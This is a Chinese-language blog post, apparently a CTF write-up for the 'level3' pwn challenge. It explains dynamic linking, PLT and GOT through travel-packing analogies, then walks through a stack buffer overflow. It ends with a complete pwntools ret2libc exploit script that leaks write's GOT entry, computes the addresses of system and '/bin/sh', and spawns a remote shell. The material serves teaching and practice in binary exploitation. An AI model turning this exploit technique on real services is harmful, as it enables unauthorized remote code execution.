题目地址

level3

背景

动态链接

小明一家国庆节去旅游去看大好江山,前一天晚上正在打点行李,他当然不需要带上所有的生活用品,只需要带上换洗衣服就可以了,而牙膏、毛巾等用品在景区的旅馆都有提供,旅馆还提供了床上用品,所以小明也不需要把床也带上。
同理在Linux系统上一个可执行文件(ELF)在执行的时候是否需要带上所有必须的函数?包含生活函数如printf之类?当然也是不需要,因为ELF旅馆(Linux系统)会提供这些基础函数以供使用,例如printf包含在动态库libc中,就类似于旅馆提供的标间。因此ELF并不随身携带printf函数,而是在运行的时候才向操作系统获取printf函数的地址,这就是动态链接
相对于动态链接的是静态链接,就是小明他妈说旅馆的毛巾那么多人擦过,牙刷质量也很不好,所以决定东西都自己带,所以小明他妈的行李箱(ELF文件)就比起小明(动态链接方式)来得臃肿。不过Linux系统提供的基础函数还是信得过的,所以一般情况下能动态链接就动态链接了。

题目提供的两个文件,其中名为libc_32.so.6就是一个动态链接库,ELF动态链接库的后缀名是.so(Shared Object),是共享经济的起源(胡扯)。libc一般是已经在操作系统中运行着的,题目提供的libc文件只是用于参考和用于计算使用,并不用于运行,就算运行level3文件,调用的也是当前操作系统中的libc。

1
2
$ file libc_32.so.6
libc_32.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=9a6b57c7a4f93d7e54e61bccb7df996c8bc58141, for GNU/Linux 2.6.32, stripped

PLT和GOT

正如前文所述,libc是在ELF文件运行的时候才动态链接,其中printf函数的真正地址也只有ELF运行的时候才能确定,因此在编译ELF文件的时候是不知道printf函数的地址,但是又必须有一条call xxx语句,因此这个xxx在ELF文件中相当于一个占位符,而只有当ELF文件运行起来之后,会用真正的printf函数地址替换掉xxx。这就是PLT延迟链接表(Procedure Linkage Table)。
有了PLT表,PLT表里面有printf函数的占位符,这样ELF文件就能写了,起码占位符就像一个全局遍历一样,只需要在运行的时候换上真正的地址那么就没有问题了,所以接下来就是PLT要如何去找到真正的printf函数。

每个32位ELF文件运行的时候都以为自己独自坐拥4GB内存,所以ELF中的跳转指令所指向的其实都只是相对地址。so文件也是ELF文件,所以libc.so的地址也是相对地址。这样没问题,每一个ELF单独运行的时候都能在操作系统的映射下正常完成内存操作,但是libc作为一个动态链接库,它并不是独立运行的,而是如开头图所示那样被链接到其他ELF的内存空间中,因此这时候就需要对地址进行操作,即把libc中函数的地址转换成ELF内存中函数的地址
如最上面那个图所示,libc被链接在ELF的地址为0x10000000,所以libc中函数的地址也始于0x10000000,这是一个水涨船高的道理,为什么成都夏天凉快啊,天然就有400米的海拔。所以这就是GOT全局偏移表(Global Offset Table)。所以ELF在动态链接地址上的一条龙服务就是这样的:

分析

溢出点可是非常露骨了,一笔带过就好。

1
2
3
4
5
6
7
8
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
# 往长度0x88的buf中读入最大长度0x100的字符
return read(0, &buf, 0x100u);
}

接下来是跳转地址,但是ELF中并没有其他的信息,甚至没有system函数可以用,连cat flag或者/bin/sh也没有,所以主要开到的地方在libc动态链接库中,因为libc应有尽有啊。于是以下是pwn的思路:

  1. 在libc里找一下有没有可以利用的字符串,例如/bin/sh
  2. 在libc中找到system函数,用来执行shell命令。
  3. 获取system函数在ELF中的绝对地址。libc中的system函数地址并不能直接使用,因为是libc中的相对地址,需要转换成ELF内存中的绝对地址(即上图中第4框到第3框)才能调用。
  4. /bin/sh为参数,跳转到system函数执行,获取shell。

查找字符串

使用strings命令查找一个libc库中的字符串,参数-t x是以16进制方式打印搜索结果的地址:

1
2
3
4
5
6
7
8
9
10
11
12
$ strings -t x libc_32.so.6 | grep bin
e1bd bindtextdomain
f354 bindresvport
fcd1 bind
10707 _nl_domain_bindings
1286d bind_textdomain_codeset
15902b /bin/sh
159f7b invalid fastbin entry (free)
15abac /bin/csh
15bf90 /etc/bindresvport.blacklist
15d858 malloc(): smallbin double linked list corrupted
15e86c /bin:/usr/bin

如上所示找到了/bin/sh字符串在libc中的地址是0x15902b

查找system函数

使用ida分析libc.so文件可以找到system函数在libc中的相对位置为0x3a940:

获取system函数的绝对地址

由于动态链接是将整个libc链接在ELF的内存中,并没有对libc中的函数进行拆分,因此在libc中的write和system距离有多远,链接之后他们的距离还是那么远,就像你喜欢的女生在高中的时候和你说做朋友,到了大学你们还是朋友。write和system的距离很容易在libc的ELF文件中获得,再通过write函数在ELF内存的绝对地址自然也能得到system函数在ELF内存中的绝对地址,同理也能得到/bin/sh字符串的绝对地址。
system函数内存中的绝对地址 = write函数的绝对地址 + (system函数在libc中的地址 - write函数在libc中的地址)
要找到wirte函数的绝对地址(也就是GOT表中write函数的值),可以通过PLT表中write函数指针,这个也是编译时写好的值,可以通过ida获取到,然后通过调用write函数把这个数值打印出来!

跳转到system函数

由于system函数的地址不能一次性得到,需要先ROP一次到write去打印write的绝对地址,之后计算得到system函数的绝对地址再次进行ROP去执行system,因此第一次ROP之后需要返回到vulxxx函数进行,所以两次ROP的栈覆盖如下:

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

r=remote(ip, 端口)

# write函数的PLT地址
writePLT = 0x08048340
# write函数的GOT地址
writeGOT = 0x804A018
# vul函数地址
vul = 0x0804844B

# 下面是各个函数在libc中的地址
writeLIBC = 0x000D43C0
systemLIBC = 0x0003A940
binshLIBC = 0x15902b

line = r.recvuntil("Input:\n")
# 第一次ROP调用write函数打印write函数的绝对地址,并返回vul函数,相当于write(1, write_plt, 4)
payload = b'A' * (136 + 4) + p32(writePLT) + p32(vul) + p32(1) + p32(writeGOT) + p32(4)
r.sendline(payload)

# 获取write函数绝对地址,计算其余绝对地址
writeReal = u32(r.recv(4))
offset = writeReal - writeLIBC
systemReal = offset + systemLIBC
binshReal = offset + binshLIBC

line = r.recvuntil("Input:\n")
# 第二次ROP,相当于system("/bin/sh")
payload2 = b'A' * (136 + 4) + p32(systemReal) + p32(0) + p32(binshReal)
r.sendline(payload2)

r.interactive()
r.close()

补充

GOT表上地址的计算发生在函数第一次被调用的时候,当第二次调用该函数的时候就可以直接跳转其绝对地址,这个过程应该可以用gdb来表现一下。(多图省略)从vul函数的write@plt函数开始打断点,进入跳转指令,会发现进入一个叫_dl_runtime_resolve的函数,这个函数就是运行时获取动态链接函数地址的函数:

在main函数中的write函数打断点,因为这是第二次调用write函数,因此PLT表中write函数指向GOT表中write函数的地址就是动态链接的libc中write在内存中的绝对地址了:


Site by 喂草。
using hexo blog framework
with theme Noone.
蜀ICP备19016566号.